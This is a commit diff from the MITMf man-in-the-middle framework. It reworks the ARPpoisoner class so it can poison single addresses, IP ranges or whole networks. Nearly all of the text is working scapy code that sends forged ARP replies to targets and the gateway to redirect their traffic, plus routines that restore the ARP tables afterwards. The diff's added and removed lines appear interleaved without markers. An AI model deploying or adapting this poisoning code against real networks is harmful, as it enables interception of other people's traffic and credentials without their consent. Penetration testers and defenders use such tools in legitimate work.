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https://github.com/byt3bl33d3r/MITMf.git
synced 2025-08-14 18:57:34 -07:00
fixes #117
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byt3bl33d3r
parent
2f9b8ff77a
commit
e3aa8ba617
3 changed files with 132 additions and 56 deletions
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@ -1,5 +1,8 @@
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import logging
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import threading
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from traceback import print_exc
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from netaddr import IPNetwork, IPRange, IPAddress, AddrFormatError
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from time import sleep
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from core.utils import shutdown
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from scapy.all import *
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@ -10,7 +13,11 @@ class ARPpoisoner():
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def __init__(self, gateway, interface, mac, targets):
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self.gatewayip = gateway
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try:
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self.gatewayip = str(IPAddress(gateway))
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except AddrFormatError as e:
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shutdown("[ARPpoisoner] Specified an invalid IP address as gateway")
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self.gatewaymac = getmacbyip(gateway)
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self.mymac = mac
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self.targets = self.getTargetRange(targets)
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@ -23,22 +30,26 @@ class ARPpoisoner():
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def getTargetRange(self, targets):
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if targets is None:
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return None
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try:
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targetList = []
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targetList = list()
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targets = targets.split(",")
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for target in targets:
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if "-" in target:
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max_range = int(target.split("-")[1])
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octets = target.split("-")[0].split(".")
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f3_octets = ".".join(octets[0:3])
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l_octet = int(octets[3])
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for target in targets.split(','):
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if '/' in target:
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targetList.append(IPNetwork(target))
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for ip in xrange(l_octet, max_range+1):
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targetList.append('{}.{}'.format(f3_octets, ip))
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else:
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targetList.append(target)
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elif '-' in target:
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first_half = target.split('-')[0]
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second_half = first_half + target.split('-')[1]
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targetList.append(IPRange(first_half, second_half))
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return targetList
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else:
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targetList.append(IPAddress(target))
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return targetList
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except AddrFormatError as e:
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shutdown("[ARPpoisoner] Specified an invalid IP address/range/network as target")
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def start(self):
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if self.gatewaymac is None:
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@ -81,22 +92,43 @@ class ARPpoisoner():
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elif self.targets:
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#Since ARP spoofing relies on knowing the targets MAC address, this whole portion is just error handling in case we can't resolve it
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for targetip in self.targets:
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try:
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targetmac = getmacbyip(targetip)
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for target in self.targets:
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if targetmac is None:
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mitmf_logger.debug("[ARPpoisoner] Unable to resolve MAC address of {}".format(targetip))
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if type(target) is IPAddress:
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targetip = str(target)
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elif targetmac:
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send(ARP(pdst=targetip, psrc=self.gatewayip, hwdst=targetmac, op="is-at"), iface=self.interface, verbose=self.debug)
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sleep(0.3)
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send(ARP(pdst=self.gatewayip, psrc=targetip, hwdst=self.gatewaymac, op="is-at", ), iface=self.interface, verbose=self.debug)
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try:
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targetmac = getmacbyip(targetip)
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except Exception as e:
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if "Interrupted system call" not in e:
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mitmf_logger.error("[ARPpoisoner] Exception occurred while poisoning {}: {}".format(targetip, e))
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pass
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if targetmac is None:
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mitmf_logger.debug("[ARPpoisoner] Unable to resolve MAC address of {}".format(targetip))
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elif targetmac:
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send(ARP(pdst=targetip, psrc=self.gatewayip, hwdst=targetmac, op="is-at"), iface=self.interface, verbose=self.debug)
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send(ARP(pdst=self.gatewayip, psrc=targetip, hwdst=self.gatewaymac, op="is-at", ), iface=self.interface, verbose=self.debug)
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except Exception as e:
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if "Interrupted system call" not in e:
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mitmf_logger.error("[ARPpoisoner] Exception occurred while poisoning {}: {}".format(targetip, e))
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pass
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if (type(target) is IPRange) or (type(target) is IPNetwork):
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for targetip in target:
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try:
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targetmac = getmacbyip(str(targetip))
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if targetmac is None:
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mitmf_logger.debug("[ARPpoisoner] Unable to resolve MAC address of {}".format(targetip))
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elif targetmac:
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send(ARP(pdst=str(targetip), psrc=self.gatewayip, hwdst=targetmac, op="is-at"), iface=self.interface, verbose=self.debug)
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send(ARP(pdst=self.gatewayip, psrc=str(targetip), hwdst=self.gatewaymac, op="is-at", ), iface=self.interface, verbose=self.debug)
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except Exception as e:
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if "Interrupted system call" not in e:
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mitmf_logger.error("[ARPpoisoner] Exception occurred while poisoning {}: {}".format(targetip, e))
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print_exc()
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pass
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sleep(self.interval)
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@ -108,22 +140,42 @@ class ARPpoisoner():
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sendp(pkt, iface=self.interface, verbose=self.debug) #sends at layer 2
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elif self.targets:
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for targetip in self.targets:
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try:
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targetmac = getmacbyip(targetip)
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if targetmac is None:
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mitmf_logger.debug("[ARPpoisoner] Unable to resolve MAC address of {}".format(targetip))
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for target in self.targets:
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elif targetmac:
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send(ARP(pdst=targetip, psrc=self.gatewayip, hwdst=targetmac, op="who-has"), iface=self.interface, verbose=self.debug)
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sleep(0.3)
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send(ARP(pdst=self.gatewayip, psrc=targetip, hwdst=self.gatewaymac, op="who-has"), iface=self.interface, verbose=self.debug)
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if type(target) is IPAddress:
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targetip = str(target)
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try:
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targetmac = getmacbyip(targetip)
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if targetmac is None:
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mitmf_logger.debug("[ARPpoisoner] Unable to resolve MAC address of {}".format(targetip))
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except Exception as e:
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if "Interrupted system call" not in e:
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mitmf_logger.error("[ARPpoisoner] Exception occurred while poisoning {}: {}".format(targetip, e))
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pass
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elif targetmac:
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send(ARP(pdst=targetip, psrc=self.gatewayip, hwdst=targetmac, op="who-has"), iface=self.interface, verbose=self.debug)
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send(ARP(pdst=self.gatewayip, psrc=targetip, hwdst=self.gatewaymac, op="who-has"), iface=self.interface, verbose=self.debug)
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except Exception as e:
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if "Interrupted system call" not in e:
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mitmf_logger.error("[ARPpoisoner] Exception occurred while poisoning {}: {}".format(targetip, e))
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pass
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if (type(target) is IPRange) or (type(target) is IPNetwork):
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for targetip in target:
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try:
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targetmac = getmacbyip(str(targetip))
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if targetmac is None:
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mitmf_logger.debug("[ARPpoisoner] Unable to resolve MAC address of {}".format(targetip))
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elif targetmac:
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send(ARP(pdst=str(targetip), psrc=self.gatewayip, hwdst=targetmac, op="who-has"), iface=self.interface, verbose=self.debug)
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send(ARP(pdst=self.gatewayip, psrc=str(targetip), hwdst=self.gatewaymac, op="who-has"), iface=self.interface, verbose=self.debug)
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except Exception as e:
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if "Interrupted system call" not in e:
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mitmf_logger.error("[ARPpoisoner] Exception occurred while poisoning {}: {}".format(targetip, e))
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pass
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sleep(self.interval)
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@ -133,21 +185,43 @@ class ARPpoisoner():
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sendp(pkt, inter=self.interval, count=count, iface=self.interface, verbose=self.debug) #sends at layer 2
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def restoreTarget(self, count):
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for targetip in self.targets:
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try:
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targetmac = getmacbyip(targetip)
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if targetmac is None:
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mitmf_logger.debug("[ARPpoisoner] Unable to resolve MAC address of {}".format(targetip))
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for target in self.targets:
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elif targetmac:
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mitmf_logger.info("[ARPpoisoner] Restoring connection {} <-> {} with {} packets per host".format(targetip, self.gatewayip, count))
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if type(target) is IPAddress:
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targetip = str(target)
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send(ARP(op="is-at", pdst=self.gatewayip, psrc=targetip, hwdst="ff:ff:ff:ff:ff:ff", hwsrc=targetmac), iface=self.interface, count=count, verbose=self.debug)
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sleep(0.3)
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send(ARP(op="is-at", pdst=targetip, psrc=self.gatewayip, hwdst="ff:ff:ff:ff:ff:ff", hwsrc=self.gatewaymac), iface=self.interface, count=count, verbose=self.debug)
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try:
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targetmac = getmacbyip(targetip)
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if targetmac is None:
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mitmf_logger.debug("[ARPpoisoner] Unable to resolve MAC address of {}".format(targetip))
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except Exception as e:
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if "Interrupted system call" not in e:
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mitmf_logger.error("[ARPpoisoner] Exception occurred while poisoning {}: {}".format(targetip, e))
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pass
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elif targetmac:
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mitmf_logger.info("[ARPpoisoner] Restoring connection {} <-> {} with {} packets per host".format(targetip, self.gatewayip, count))
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send(ARP(op="is-at", pdst=self.gatewayip, psrc=targetip, hwdst="ff:ff:ff:ff:ff:ff", hwsrc=targetmac), iface=self.interface, count=count, verbose=self.debug)
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send(ARP(op="is-at", pdst=targetip, psrc=self.gatewayip, hwdst="ff:ff:ff:ff:ff:ff", hwsrc=self.gatewaymac), iface=self.interface, count=count, verbose=self.debug)
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except Exception as e:
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if "Interrupted system call" not in e:
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mitmf_logger.error("[ARPpoisoner] Exception occurred while poisoning {}: {}".format(targetip, e))
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pass
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if (type(target) is IPRange) or (type(target) is IPNetwork):
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for targetip in target:
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try:
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targetmac = getmacbyip(str(targetip))
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if targetmac is None:
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mitmf_logger.debug("[ARPpoisoner] Unable to resolve MAC address of {}".format(targetip))
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elif targetmac:
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mitmf_logger.info("[ARPpoisoner] Restoring connection {} <-> {} with {} packets per host".format(targetip, self.gatewayip, count))
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send(ARP(op="is-at", pdst=self.gatewayip, psrc=str(targetip), hwdst="ff:ff:ff:ff:ff:ff", hwsrc=targetmac), iface=self.interface, count=count, verbose=self.debug)
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send(ARP(op="is-at", pdst=str(targetip), psrc=self.gatewayip, hwdst="ff:ff:ff:ff:ff:ff", hwsrc=self.gatewaymac), iface=self.interface, count=count, verbose=self.debug)
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except Exception as e:
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if "Interrupted system call" not in e:
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mitmf_logger.error("[ARPpoisoner] Exception occurred while poisoning {}: {}".format(targetip, e))
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pass
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